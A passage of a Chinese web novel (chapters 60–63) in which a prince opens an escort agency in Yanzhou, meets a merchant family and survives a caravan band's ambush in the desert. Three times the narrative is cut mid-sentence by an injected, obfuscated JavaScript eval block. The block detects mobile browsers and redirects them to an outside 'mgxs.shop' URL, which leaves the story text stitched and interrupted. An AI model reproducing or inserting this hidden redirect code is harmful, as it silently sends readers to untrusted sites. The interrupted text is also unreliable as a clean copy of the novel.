尉迟拓听完，哈哈大笑：“云掌柜莫激动，我理解你爱女心切，但按贺兰马帮的规矩，赛马时为了赢得比赛，伏击对手并不算违规。至于恶意撞人，躲得过是本事，躲不过便自认技不如人，倒谈不上阴狠。” “依尉迟兄的意思，是我女儿技不如人了？”他脸色更加难看。 “不是这个意思，”尉迟拓笑眯眯道，“马帮信奉的理念如此，否则也不会走常人不走的险路，将云氏商行的货物安全运送至各地。” 云佟义被这话一噎，心中隐隐觉得哪里不对，又说不上来，吞吐半天，只得冷哼一声，拂袖而去。 回了府，管事的拿来一沓货单。“东家，绥州来了份大单，要今春新采的茶尖，小的马上给贺兰马帮送过去。” 云佟义正憋屈着，听到贺兰马帮，火立时上来：“不要贺兰马帮，找其他的路子。” “这......”管事有些为难，“延州去绥州的路上近来频有突厥侵扰，官道早早封了，除了贺兰马帮，怕是没人去了。” “那就把这单子推了，”他眉头一横，“我云氏家大业大，还不至没了这单便吃不上饭了。” “可这次确是大单，利润极为丰厚......”管事犹豫道。 “那便去找路子，”云佟义冷声道，“我就不信，离了他贺兰马帮，云氏的货还卖不出去了？” “是。”管事垂目退下。 —— 延州城东南郊，宝塔山。一座不起眼的农家小院坐落于山间。一白衣少年手执书卷于院中静坐，眉眼初具锋芒。 青戈抱臂斜倚在门前的树上，望着仅有的一条通往山下的羊肠小路。 隐隐约约的脚步声传来，他立时警惕，同院中人打了个暗号，手移至腰间的短匕上。脚步声由远及近，两个熟悉的身影上前。 “王爷。”他心中一喜，松了口气，快步走过来。 见叶望目光移向院中，他紧跟着道：“九殿下在屋里，方才我听见动静，便让殿下进屋了。” “嗯，是该谨慎些。”叶望点头，抬脚迈入院中。 叶朗自窗前窥见来人，亦自房中走出。 “皇兄。”这一路跌宕起伏，少年愈发沉静，隐隐现出垂旒御宇的气度来。 “来了，”叶望颔首，在石桌旁坐下，“近来修养得如何？可还适应？” “一切都好，”他言简意赅，继续道，“皇兄给我的身份是位商人，想必有特殊用意，来的路上我特意留意了延州城的商人装扮，让青戈备了些衣物和随身之物，不知皇兄往后有何打算？” 叶望微微凝神，目光沉沉：“你可知镖局？” 他点头：“在武侠话本里见过，专做运货走镖之类。” “我近日打听了些，延州城中并未有镖局，货物运输多走大大小小的马帮，不成体系。” “皇兄是想以我的名义，开一间镖局？”他接过话头，揣摩他的意思。 叶望点头，补充道：“不止以你的名义开，还需你在背后亲自打理经营。” “可是，皇兄为何要开这镖局？”叶朗有些不解。 “小九，这镖局可不仅仅是镖局，”叶望不紧不慢道，“你想想，镖局走镖需要什么？” “自然是需要镖人和良马。” “倘若一趟镖运送的商货庞大，为保证货物安全，是不是需要一支同等规模的护卫队？” 他点头。 “随着镖局规模逐渐扩大，自然需要招募更多镖人护卫更多商路的货物......” “所以皇兄，是想借镖局的名义......”叶朗霎时明白过来，凑近了些，压低声音道，“私下募兵？” 叶望微笑不语。 “可是这镖局刚刚起步，城里又有马帮，怕是没那么好做。”他回到方才的话题，谨慎道。 “此事我亦考虑到，”叶望正了正身，“不过我事先调查过，马帮替商户运货，只口头保证货物完好，并未有严密的核验渠道。货物送到，买方清点后发现损坏缺货的，便扣去这部分的货款。最终到商户手里的，通常比实际的货款少四成。” “他们为何不向马帮追究？”叶朗诧异。 “延州周边，地形复杂，多山川沟壑，且匪患频发，若想异地倾销，只能依托马帮。得罪了马帮，货物卖不出去，便分文不赚，权衡之策罢了。况且，马帮的人先前多为流寇，生性散漫蛮横，商户亦是不敢得罪。” “原来如此。所以镖局要想存活，便要与马帮不同，”叶朗眼睛一亮，很快有了思路，“他们无理，我们便有理，对缺货坏货给予一定补偿，让利给商户，以求合作。” “小九聪敏，”叶望赞赏点头，“镖局的铺子我已事先以你的名义盘下，并购入了些良马和骆驼，至于镖人，还需你到了铺子再雇佣。” “你的身份幼时火灼留疤，这副面具给你，”他拿出一个半边银质面具，“人多眼杂，莫要叫人见着你的真容。” —— 城南新开了间铺子，二层小楼，陈设整洁规正，门匾上四个大字，龙兴镖局。 延州城的人从未听说过镖局，甚是好奇，开张那天一股脑凑进去看，一看，顿时失了兴趣。这不就和马帮是一回事吗？不过是换了个名头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162322|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看热闹的众人一哄而散，镖局自此冷清下来。周边已经有人打赌，赌这镖局几日闭店。 不过镖局的那位年轻掌柜，倒是不焦不躁，每日定时打开铺子，坐在柜台前，拿着几张图，不知在钻研什么。 这日，一瘦削男子走入铺子，审视地环顾四周道：“这儿接跑商生意吗？” 叶朗闻言，自案后抬起头，起身道：“接。客官是要运什么，往哪儿去？” 男子不答：“我先问问，还未定下。” “我看这铺子是新开的，先前有运过货吗？” “未曾。”他如实回答。 男子皱了皱眉：“未曾运过货，那叫人如何放心把货物交予你？” “客官，您的顾虑我明白，”叶朗料到他会这样说，拿出一卷名册，“但龙兴镖局负责运货的镖人皆是先前马帮的人，在跑商一事上颇有经验，这点你大可放心。”先前雇佣镖人时，他事先考虑过，因此专挑有马帮送货经验的，吸引了一些因受排挤亦或与头目不合离开马帮的人加入镖局。 男子接过名册翻了翻，见确有熟面孔，点点头：“运货的价钱如何？” “一驮百二十斤，每驮每百里一百文，若货物贵重，需加二十文一驮。” “小兄弟，恕我直言，这价钱并不实惠，比城中马帮给的价均要贵些。” “是，”他先肯定了男子的话，再抛出镖局的利好，“但镖局算的，是货物送到后的所有好货之数，不计损坏货物。” 此言一出，男子神色一凝。只算好货，这价钱就大为不同了。他在心里默默盘算了一遍一次运货折损的价钱，又与镖局贵出的价钱比对一番，发现确是实惠不少。 "这话镖局不是说说，会在运货前专门与您签份商契，若镖局失约，您大可拿着这商契去官府告状。"叶朗补充道。 “明白。”男子已然有些心动，神色都轻快了些，近来东家与马帮闹了不快，叫他找别的路子，后来某天不知怎的，同他问起这龙兴镖局来。他原本亦听说了此镖局，观望了一阵，从市场反馈来看，并不靠谱。如今亲自来了这一趟，心里倒有了些底。 “此事我还需回去同东家商议，有结果通知你。”他飞快道，迫不及待地离开了。 “五哥，方才那人，便是你说的云氏商行的人？”待人走后，叶朗步入后院道。 叶望翻阅着一卷册子，不置可否：“这家商行规模庞大，我有意与其掌柜结识，打听消息。近来听闻云佟义与马帮生了嫌隙，便随口同他提了一嘴龙兴镖局。眼下机会难得，需好好抓住。” 叶朗眼中迸出光芒，摩拳擦掌：“五哥，先前我让熟悉路线的镖人将马帮常走的商路在舆图上标了出来，大致整理了一番，做成了这份册子。” “嗯，我看过了，”手中的册子翻至最后一页，他合上赞道，“路线清晰，划分规整，一目了然。等往后有了实际的行路数据，可将用时、偏差、影响因素一并记上。” “我亦有此意。”叶朗笑道。 “万事俱备，”他望着舆图上蜿蜒迂回的路线，目光沉沉，“如今，就等云氏的这阵东风了。” 61. 重逢 云府规模庞大，浩浩荡荡地占据了坊内半块地，高墙深院，内部别有洞天。 主宅中堂，正设宴席，欢声笑语不断。 延州的宴席，不似长安那般规矩繁多，众人可端着酒樽自席间穿梭攀谈，更有甚者，端着碗碟去邻桌夹菜，亦是无人在意。 “殿下，这一杯我敬你，”云佟义端着酒樽递到叶望面前，喜气洋洋，“殿下可帮鄙人解决了个大难题。” 叶望举杯回敬，意会他说的是何事，微微一笑：“无心之言，能解云掌柜之忧，是云掌柜自己的本事。” 云佟义闻此哈哈大笑：“殿下客气了，若不是殿下同鄙人说起，鄙人怕是难以留意。” “本王亦是某日无意瞧见的，”他不动声色，“不过听闻延州此前并无镖局，云掌柜这般放心将货物交于他们运送，倒叫本王颇为意外。” 云佟义闻言，抚须解释道：“殿下有所不知，这镖局虽为初立，但规章条契竟甚是完备，比那些个随心所欲的马帮强了不少。云氏商行运货量大，亦想多寻些路子，好货比三家，不受制于人。我瞧着这镖局不错，便与他们签了份小额的单子，看看效果。若是干得好，往后大可以进一步合作，云氏作为首位主顾，自是有更多惠利，若是干不好，这点损失云氏亦是担当得起的。” “云掌柜思虑周全。”他手往前一送，与云佟义的杯壁迎面相碰，将酒一饮而尽。 云佟义亦爽快对饮。 “爹！”一道直率的女声响起，云知意着一身海棠红翻领胡袍，发绾高髻，步履生风。 她走近，飞快扫一眼叶望，又将视线移开。 “何事？”云佟义笑眯眯道。 云知意看他满面春风，撇了撇嘴。先前说好的替她张罗结亲之事，眼下却是将这事忘了个干净，自己倒相谈甚欢了。 无妨，自己的亲事，自己挣。 思及此，她望着叶望，心中紧张，语气却愈发一本正经起来：“晋王殿下，前院在玩投壶，小女想去看看，不知殿下可有兴趣与小女一同前去？” 叶望看她一眼，未立时回答。 “殿下不说话，我就当殿下答应了。”她手中冒汗，脑子一热，拿出平日与姐妹们插科打诨的气势。话说出口，方觉不妥。 “你这丫头，”云佟义适时责怪，朝着叶望虚行以礼，“殿下，云某教导无方，叫小女蛮横惯了，还望殿下……” “无碍，”叶望打断道，说着意味深长地看了云知意一眼，“本王听闻云氏的货运皆是由云姑娘打理，如此庞大之业，被云姑娘打理得井井有条，当真是巾帼不让须眉。” 云知意听了此话，登时一股热意涌上头，不自在地捏了捏耳垂。 正说着，前院爆发出一阵喝彩声，葵生自外门而入，脸上洋溢着兴奋的神色：“王爷，前院投壶可精彩了，不比陇西时逊色。” 话说到这，那定是要去看看的。 众人步至前院，见一群人围成一个圈，圈正中有一鎏金铜壶，插了好几支箭羽。 一男子手执箭矢，屏气凝神，稳稳一掷，箭矢应声入壶。 “全壶，记八分——”计分人亦有些激动，扬声道。 “太厉害了。”围观人群忍不住交口称赞。 忽地门外传来一阵骚动，一小厮迈着碎步跑来，远远见着云佟义，迫不及待道：“东家，大少爷回来了！” “大哥回来了？”云知意惊喜万分，抬脚便欲出门迎接。 同一时，一着玄金劲装的男子大步迈入府中。 “大哥！”云知意招手。 男子抬手摘下遮尘的帷帽，露出一张古铜色的脸。浓黑剑眉，瞳仁在阳光下映出浅金色的光，耳骨上一串银环，随着他偏头的动作闪过寒光。 “妹妹！”他爽朗笑道，几步迈上前，又朝云佟义叫了声爹，这才注意到云知意身旁还站着位男子，锦衣华服，瞧着气度不凡。 “这位是......”他迟疑道。 “哦，忘了和你说了，”云知意连忙介绍，“这位是晋王殿下，上月方至延州就藩。” 云知苍一顿，随即嘴角向上一扯，笑声洪亮：“哈，我就说嘛，云氏哪来这般气度的人物，失敬失敬！”他抱拳，动作大开大合，腕上的铜串叮当作响，“殿下，边野粗人不懂规矩，方才若有冒犯，还望殿下海涵。” 叶望微微一笑，示意无事。 “大哥，怎得提前了这么些天？按照往年，约莫还有五日才到。”云知意扯着他的袖子，好奇道。 “确是如此，不过今岁是暖春，连带着山上的雪也早早消融，山路好走了许多，便快马加鞭赶回来了。”他耐心解释道。 “干站着作甚？可有好酒，我敬殿下一杯！”他来了劲，朗声道。 “大哥，你来得不巧，宴席将将结束。”云知意如实道。 “这......”云知苍一把将额前碎发捋至脑后，颇有些惋惜。 “云兄莫丧气，本王常驻此地，他日再约便是。”叶望淡淡道。 听他这么说，云知苍爽朗一笑，应道：“殿下此言有理，那便改日再约！鄙人方自外归来，一身风尘，不敢唐突。且容我卸了这身行装，干干净净再来拜会。” 叶望点头，眼见他走远，望着他的背影若有所思。“云姑娘，此番货物既已交予马帮承运，缘何令兄仍亲自押阵？” “殿下有所不知，马帮行规，凡承运之货，路途艰险，他们不保完全，向来是允许有‘定损’的。此趟物件实在贵重，不敢全盘托付，是以云氏需派人随行看顾，只为在交割时，多保全一些。” “开春货单量陡增，商行一时腾不出人手前去送货，遂让阿兄亲自护送，还为此多招了位有武功的护从。”提及熟悉的领域，云知意侃侃而谈，神色激扬，颇有活力。 “原来如此，”叶望作恍然大悟状，语气却仍无波无澜，“多谢云姑娘解惑。” “殿下客气。”云知意捏了捏手，看着他棱角分明的侧脸散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176389|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出冷冽气息，心砰砰跳了一下。 这么一折腾，投壶赛已近尾声，司射高声宣布胜者，毫无悬念，是全壶的男子，男子身旁的同伴簇拥着欢呼起来。 叶望负手而立，于外围静静看着，忽觉身后一道目光，转头看去，庭院那头草木葱葱，空无一人。他心神凝了凝，只当看走了眼，谢过云佟义的款待，告辞离开。 —— 云知苍沐浴归来，换了身玄黑窄袖胡服，领口微敞。他大马金刀地往正堂一坐，两臂交叠在脑后，望着一旁收拾残局的小厮道：“赵二，我爹呢？方才还见他在这儿。” “大少爷，东家刚送走晋王殿下，便随小姐去铺子里了。” 他点头，枕着手臂懒洋洋地在正堂坐了一会，见廊道走来一人，眼睛一亮，手在铺了软垫的胡椅扶手上一撑，猛地站起来。 “白姑娘，”他理了理衣裳，故作不经意间走近，没话找话道，“行装可安置好了？” 女子点头，一张脸被青色面具覆盖，瞧不清神情。两月前，商行人手不足，遂发布告招护从跑商。来者众多，却皆打不过一女子。但商行的规矩，一向不招女护从，为此云知意同云佟义争执许久，丢下一句“不要女子，那我亦是女子，这跑商我不管了”便赌气离开，最终以云佟义妥协告终。 启程伊始，他一心照看货物，并未留意过她。后来商队在山路上被匪盗冲散，一时慌乱，是她冷静应对，执着火把燃起柴堆，引着走散的马帮归队。自那时起，他开始有意无意地关注她。 不同于延州女子的张扬热烈，她周身散发的，是一种清冽的气息，好似多年前他自友人那喝的那壶产自江南的梅子清酿，不呛喉，不上头，但后劲绵长。他这样的粗人，哪承受得住，便是抓心挠肝，忍不住想靠近。 心头涌起一阵莫名的燥热，他咳了几声，一本正经道：“姑娘初来乍到，若有哪里不习惯，尽管同我说罢。” 季辞秋看了对面男子一眼，没多说什么，点点头。两月前，她在前往陇西的路上盘算了一下钱额，发现所剩不多，遂在沿路的延州城暂歇，打算赚点银子，升级下行路的装备，再继续赶路。恰逢云氏商行招募护卫，她便接了此差事，跟随马帮跑商去了。哪知方一回来，竟撞见了叶望。 她心中一阵恍惚，问了旁人才知，叶望而今已成了延州的藩王，一月前将将就藩。 果真是应了那句古话，“天涯何处不相逢”。只是这相逢，未免太快了些。 她盯着地面出神，思绪有些纷杂。照理说，如今挑明了身份，不必再刻意隐瞒，应是松快许多。可她总有一种别扭之感，竟不知该如何与他相处了。因着这层身份，她与叶望之间的关系多了些说不清道不明的联结，一种属于原身、与她无关的联结。她并不想借着季恪之女的身份，令他对她产生不必要的责任，这对他不公平。 况且，她如今的身份，同他保持些距离，对彼此都好。 思及此，她虚虚扶了扶面具，迈步离开。 62. 跑商 城南，季辞秋照着舆图左右张望，终于在一家不起眼的布行前停下。 “掌柜？”她往空无一人的铺中探了探头，一妇人闻声自屋后头走出，见她随身带着算筹，认出是昨日请的账房，将她迎入屋内。 “去岁的账目都在这儿了。”她将季辞秋带入后头的隔间，指了指案上杂乱堆着的账本，“姑娘就在这看吧。” 说完她又上下打量了季辞秋几眼，对这样一位会算账的女子颇为新奇。 季辞秋依言坐下，粗略翻了翻：“去岁一月的账目似是缺了。” 掌柜闻言，上前又将账本翻了一遍，无奈摇头：“许是被当作废纸扔炉灶了。这账目从来都是只管记下，堆得多了，早就分不清楚。” “那铺子的收支从何得知？” “害，多是在岁末草草盘算一番手里的资产，减去岁初的便了事，细节均不知晓。” “那是草率了些。”季辞秋顺着她的话道。 “是啊，”掌柜赞同点头，“这不方从首饰铺的丁娘子那听闻姑娘的本事，便立马将姑娘请来了。” “放心，包在我身上。”季辞秋笑了笑，自包裹中取出纸笔算筹大大小小的物件，在桌上一字排开。 掌柜见这架势，顿时肃然起敬，忙道：“姑娘专心算账吧，我就不打扰了。” 季辞秋微笑点头，眼见掌柜离开，将用来撑场面唬人的算筹算盘推至一旁，只留下纸笔，在稿纸上演算起来。 方来延州城时，她接的多是代写书信之事，后来发现延州人的算术能力颇弱，经商之人竟常常连价钱都算不明白，而那些好的账房先生佣金甚高，多受雇于大商行，中小商号等闲承担不起。是以她另辟蹊径，帮零散商户做账，以次收费，利用闲散时间多赚点银子，好快些凑够路费。 原本只是抱着试试的态度，没想到接过几次单子后，竟在商户间小有名气，这不方跑商回来，就有几个商户点名道姓要她上门做账。 奈何她过几日又要随商队跑商，只得将其余的单子推了，只接了这一个。不过云氏商行给的报酬亦是丰厚，除了累些，没有别的缺点。 她收回思绪，继续在稿纸上演算。 一日在纸笔摩擦的沙沙声中很快过去，季辞秋自算术堆中抬起头，揉了揉酸胀的脖子。 “好了。”她叫了掌柜一声，将几页竹纸递过去。竹纸上，工整记录着每月收支、货物进出数目以及岁末盈利额。 掌柜粗略看了看，啧啧称叹：“姑娘真乃神机妙算，一日之内竟将这般繁杂的账目厘清分明。”说着翻到下一页纸，见其上画着几行几列，行头均填了字，好奇道：“这是......” “存货卡，”季辞秋答，“我整理账目时，发现货物出入的记录不尽详实，有些数目与收支对不上，便做了这张存货卡。” “此卡正面记录货名、编号、存量及存放位置，背面以这样的格子记录动态流水，包含日期、单号、入目、出目、结存等。你照着纸上的样子印刷成册，用麻绳穿成一串，按货品分类悬挂在账台旁。凡进货，于相应货卡录‘入’字；凡出货，必寻对应货卡录‘出’字，并落印为凭。如此，欲查某货存数，无须亲赴仓廪。只需翻检相应货牌，末行结存之数一目了然。” “甚好甚好。”掌柜捻着竹纸，笑开了花。 “那银钱……”季辞秋适时提醒。 掌柜还沉浸在清晰的账目中，闻言一拍手：“这就给姑娘取来。” 季辞秋收了银钱，拿在手里颠了颠，揣进兜里。她走出铺子，欲回商行，忽听东侧巷道中传来几声咒骂，夹杂着呜咽声。 她心头一紧，正欲一探究竟。一瘦小身影被一股力自巷中甩出，狠狠摔在大路上。紧跟着，几个五大三粗的壮汉走了出来。 是贺兰马帮的人。 “小贱蹄子，胆子不小，敢偷爷几个的东西。”大汉上前狠踹一脚，啐了口吐沫。 地上的人蜷成一团，衣着脏污破烂，不抵抗，只死死护着脑袋。 路人皆骇然，装作没看见般绕道而行。 大汉更加肆无忌惮，又补了几脚，仍不解恨，随手抄起路边摊贩的擀面棍，狠狠抡下去。 哪知棍子抡到一半，骤然被一股力拦住。他横目望去，见一戴着面具的女子握着另一头，正与他较劲。 不知死活，他轻慢扫她一眼，猛地扯了一下，竟纹丝不动。 “兄台，这么大火气，当心伤身呐。”季辞秋冷冷道。 “哪里来的婆娘，小爷教训偷东西的小贼，关你何事？”大汉不以为意，眼神示意同伴上前。 “几下便罢了，兄台这架势，是要夺命？”季辞秋目光扫过缓缓靠近的几人，忽地侧身一躲，避开闪烁的寒刃，而后银蛇般绕至几人身后，指如疾风连点数下。那几人尚未及回身，便觉背脊一麻，周身气力悉数消散，膝盖软了软，接连瘫倒在地。 “你做了什么？”几人躺在地上，狠狠盯着她道。 “不过是封了诸位几处穴道，半个时辰自解。”季辞秋擦了擦手，跃过躺在地上的几人，朝地上缩成的一团伸出手，“别怕，没事了。” 那团子抱头瑟缩着，良久小心翼翼地露出一双眼，竟是个十二三岁的少女。 脑中忽得浮现阿黎的影子，她心中一痛，兀自收回手，站起身来。 “快走吧，”她低声道，“下次莫要偷东西了。” 少女怯生生地打量着她，见她收回手，眼神暗了暗，良久艰难爬起身，一瘸一拐地走了。 “何处的动静？”叶望坐于镖局后院，望向自门外回来的青戈。 “回王爷，东街后巷，似是贺兰马帮的人在教训飞贼，下手极狠，被一女子拦下了。” “贺兰马帮？”他目光沉了沉，此帮派行事狠厉，如今镖局横插一脚，抢了他们的生意，已令他们蠢蠢欲动，“云氏商行的货何时发镖？” “两日后。” 叶望凝眸：“此镖关乎重大，需你随商队同行，以护镖货周全。届时，本王亦将乔装为镖师，与你同往。” “王爷亦同行？”青戈有些意外。 叶望点头：“藩王身份招摇，行动颇受掣肘，此番假借镖师之名，正可勘察延州城周遭地势，以备将来之计。” 另一头，尉迟拓听完手下人的话，面色阴沉。云氏竟真将货物交由一个来路不明的镖局了？ 他左右扭动脖子，发出咯咯的响声：“派些人暗中跟着，待到人迹少的地儿——”他压低声音，做了个手起刀落的手势，“下手利落些，别叫人发现。” “是。”手下应声退下。 他舒展身子，仰靠在兽牙镶嵌的毛毡圈椅上，嘴角勾起阴恻恻的笑。既然敢光明正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186934|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大地抢他贺兰马帮的生意，那就要付出点代价。 —— 这日清晨，天刚蒙蒙亮，一行人在城南郊外启程。此行运送布帛北往夏州，春日多风沙，北面荒漠黄尘漫卷，遮天蔽日，是以一行皆裹得严实，以青布蒙住口鼻，只露双眼。 季辞秋默默跟在商队末尾，极目远眺。天是倒扣的青磬，太阳悬在上面，像个烧透的铜盆，明晃晃的却没什么热气。这里没有路，只有被风吹出波浪纹的沙地，连绵至天际。沿途可见废弃的烽燧，石墙上残留着不知哪个朝代的箭痕。 这样的景色初看惊艳，若是看了四五日，便也厌倦起来。是以她百无聊赖，又开始观察起商队的人来。 此行路程不长，运货数目亦不大，随行之人除了她，仅有六人，皆是镖局的镖师。她这几日发现，其中四人似是老相识，常在休息时聚在一起侃天说地，而另两人与他们并不相熟，多是在一旁闭目养神。 这日，大漠寂静异常，只听见骆驼踏过沙地的咯吱声。忽得远处地平线上升起一道混黄的沙漏，扭动着逼近，声音似千万蜂群。 “不好！是沙龙卷。”为首的男子叫道。 “快，将骆驼围成一圈，躲在骆驼下。”另一名男子很快镇定下来，指挥商队聚拢。后头的年轻男子似是第一次碰见，吓得僵立在原地，迟迟未动。 “小五，快过来。”男子大喊。 卷着沙石的风近在眼前，季辞秋眼疾手快，一把牵起男子身旁的骆驼，连拖带拽地将他拉进圈里。下一秒，呼啸的尘土扑了上来。 众人紧捂口鼻卧在骆驼下，不知过了多久，待眼前景物慢慢清晰，才松了口气，站起身来。 “小五，方才愣着做什么？再晚一秒，就没命了！”宋九皱眉道。 “是，是，”叫小五的男子脸色煞白，仍是心有余悸，“多谢兄台，救我一命。”说着看向队尾的季辞秋。 “无碍。”季辞秋淡淡道，多日未开口，声音透着干哑。 “俺的娘嘞，你是女的？”宋九听出异样，惊得嚎了一嗓子。引得一旁的几人看过来。 季辞秋垂下头，男子不依不挠，盯着她看了几秒，忽得想起什么，半信半疑道：“你莫非就是云氏商行那个把一众男子打趴下的？”见她不置可否，他肃然起敬，抱拳道：“原是女侠，失敬失敬。” 季辞秋笑笑，没吭声。 “你们看，大漠似是到头了。”小五望着远处，忽地兴奋大叫道。 众人顺着他的视线看去，茫茫的黄土延伸之处，果真有一道清晰的分割线。 “先别急着高兴，”识路的人沉沉道，目光中透出忧虑，“前头就是鬼哭滩了。” “鬼哭滩？”小五听着这名字，心觉不妙。 “那里原本是古河道，看着是平坦硬地，实则底下全是流沙，凶险得紧。河床早干了，留下满地滚圆的卵石，起风时，石头缝里就发出呜咽声，跟鬼在哭一样。” 众人听了这话，亦不敢放松，待进了滩，将驼铃卸了，每走十步以竹竿戳地，听见“空空”声便是流沙层，需横向避开。就这样几步一停，队伍行进得极为缓慢。 行了一段距离，忽听红柳丛中一阵异响，数十个蒙面人跃出，直扑商队。 众人还未来得及反应，便见其将一匹骆驼掀翻在地，货物倾倒下来，霎时陷入流沙。 63. 夏州 “保护货物！”宋九高声道。众人忙聚到骆驼旁，勒紧绳子，紧张地与来人对峙。 寒光一闪，那伙蒙面人齐齐抽出刀子，恶狠狠地扑上来。 小五哪见过这场面，拔腿就跑，没跑几步，便一脚陷进沙子中，眼见贼人的大刀将至，他抱头躲避，见隔空一枚花镖飞来，直直撞在刀刃，促使其偏向。下一秒，一道身影迅疾掠过，手起刀落，蒙面人应声倒地。 竟是先前从未说话的那位，“多谢大侠......”小五颤着声道谢。 话未说完，他惊叫一声，又一蒙面自叶望身后冒出，刀刃贴上脖颈，留下冰凉的寒意。 叶望猛地向一侧闪避，不妨脚下一软，陷入流沙漩涡中。 身子霎时下沉，细密的沙攀附上来，似一张血盆大口，欲将他吞食。 千钧一发之际，一只指节分明的手猛地抓住他，紧接着，一双清亮透光的眸子出现在眼前。 “抓紧了。”女子紧蹙眉头，臂上使力，欲将他拉出漩涡。 青戈于一旁缠斗，察觉异常，瞳孔骤然一缩，反手利落抹了纠缠者的脖颈，连忙上前帮忙。二人使出浑身解数，终于将叶望自流沙中拉了出来。 他们不敢懈怠，继续纵身加入打斗中。 那群蒙面不曾想队伍中竟有这等身手之人，还不止一位，顿觉棘手，眼见同伴一个个倒下，他们对视几眼，头也不回地跑了。 劫后余生，众人心有余悸，于原地休整，平复气力。叶望盘腿而坐，目光落到角落里垂着头的女子身上。方才打斗激烈，女子脸上的青布扯开了些，露出光洁饱满的额头，秀挺的翘鼻，乌黑透亮的眼睛，似春风拂面，恍惚间可以闻见花香。几乎是一瞬间，他便认出了她。 似是察觉到视线，女子将青布裹紧了些。他不再看，心却不受控制地跳得厉害。 再度重逢，他惊喜异常，脑中还在冷静分析官府追查到此处的可能，身体已先一步雀跃起来。无论如何，她安然无恙地出现在他身边，那便够了。 “货物毁损如何？”宋九问负责清点货物的小五。 “约莫两驮，布帛已深陷流沙中，等闲寻不到了。” “罢了罢了，人还在便好。”男子无奈摇头，“说来也怪，这条路我先前跑过多次，从未碰见流寇，今日真是走了大运了。” “并非意外，这伙蒙面是贺兰马帮的人。”季辞秋闷声道。 “什么？”小五惊骇。 她看着远处连绵起伏的沙丘，目光沉沉。跟随马帮跑商两月有余，她对马帮的招式有些了解。这群人常年应对马匪野兽，出腿时习惯性先提膝再猛蹬，兵器亦是有讲究，多是末端带铁钩的短刀，平日用于勾货包绳。 她将这些悉数告诉众人，宋九率先坐不住，破口大骂道：“呸！咱们好歹也在马帮同锅吃过饭，竟使出这般阴毒下作的手段！真真是狼心狗肺，猪狗不如的东西！” 另两人亦是愤慨。 “他马帮既要阻挠，证明他怕了！咱们偏要将这剩下的货物安全送到，好让人知道，离了他马帮，货照样能走！”他握着拳头道。 这场变故非但没有打垮队伍，反而提振了士气。几人心里憋着口气，行路都快了许多。在预定日期的前一日，商队到达了夏州。 夏州城坐落于无定河北岸的台地之上，向北过毛乌素沙地即入陇西，城墙为赭黄色夯土所筑，因常年受风沙侵蚀，墙面布满蜂窝状的凹痕与沟壑。城内东市沿河展开，汉式青瓦店铺与粟特人的彩幔帐篷交错。 商队一行按照约定，将货物送到东市的一家布行。一身着胡服的汉人掌柜迎了出来：“这么快就到了。” 宋九点头，自骆驼上将货卸了下来：“路遇流匪伏击，货物损毁了些，还请阁下仔细清点，按实际货款付账。” 事情安排妥当，商队决定在城里休整一日，再动身返回。众人在一家酒肆落塌，为了庆贺首镖完成，宋九盛情邀请众人去楼下喝酒，奈何隔壁住着的二人房门紧闭，敲了半天也没动静。他又去敲那位女侠的房门，亦无回应。 “方才好像见女侠出门了。”小五探出头道。 罢了，他一把搭上小五的肩，架着他出了门：“走，喝酒去！” 季辞秋放下行装没歇多久，就出了门。不同于长安市坊讲究分行列肆，这里的东市像一锅煮沸的杂汤。卖突厥弯刀的摊子隔壁，河西来的妇人正抖开一匹联珠纹胡锦。皮匠在硝制生羊皮，腥气混进旁边食肆里炙羊肉的焦香。 季辞秋一路走一路看，在一家车马行前停下。车马行的门面比寻常商铺宽出两倍，却仍被挤得水泄不通。堂内没有长安车行悬挂漆牌、明码标价的规矩，人声鼎沸中，只看见几个伙计在柜后探出身子，脖颈青筋暴起地朝不同方向喊话。 她立在门侧一摞马鞍旁等了片刻，几个蹲在墙角饮水囊的汉子谈话声断续飘来。 “听说了吗，陇西的商道又要加征过路税了......””一个裹着脏兮兮貂帽的粗汉压低嗓子道。 “这是第几次了？这陇西境内的路税早已比别处高出许多，再加征，商队日子还过不过？”一旁的瘦子皱眉，脸颊深凹下去。 “这你得问陇西新上任的节度使，我听我陇西的表兄说，这位可不是省油的灯，上任没多久便在夏税、秋税之外加征，美其名曰军需紧急。从前每户纳粟一石，如今加至一石五斗，周围人都叫苦不迭。” “这还有没有王法，朝廷不管管吗？”一直闷头啃胡饼的青年忽然抬头，愤愤道。 “天高皇帝远，朝廷哪顾得上。这样看，陇西先前那位……比如今的这位要好上不少。当时那头的日子可滋润了，我差点投奔我表兄，带着一家老小一道搬过去了。” “你是说那位季节使？听说他想谋反，被就地正法了，远在京城的妻女都未 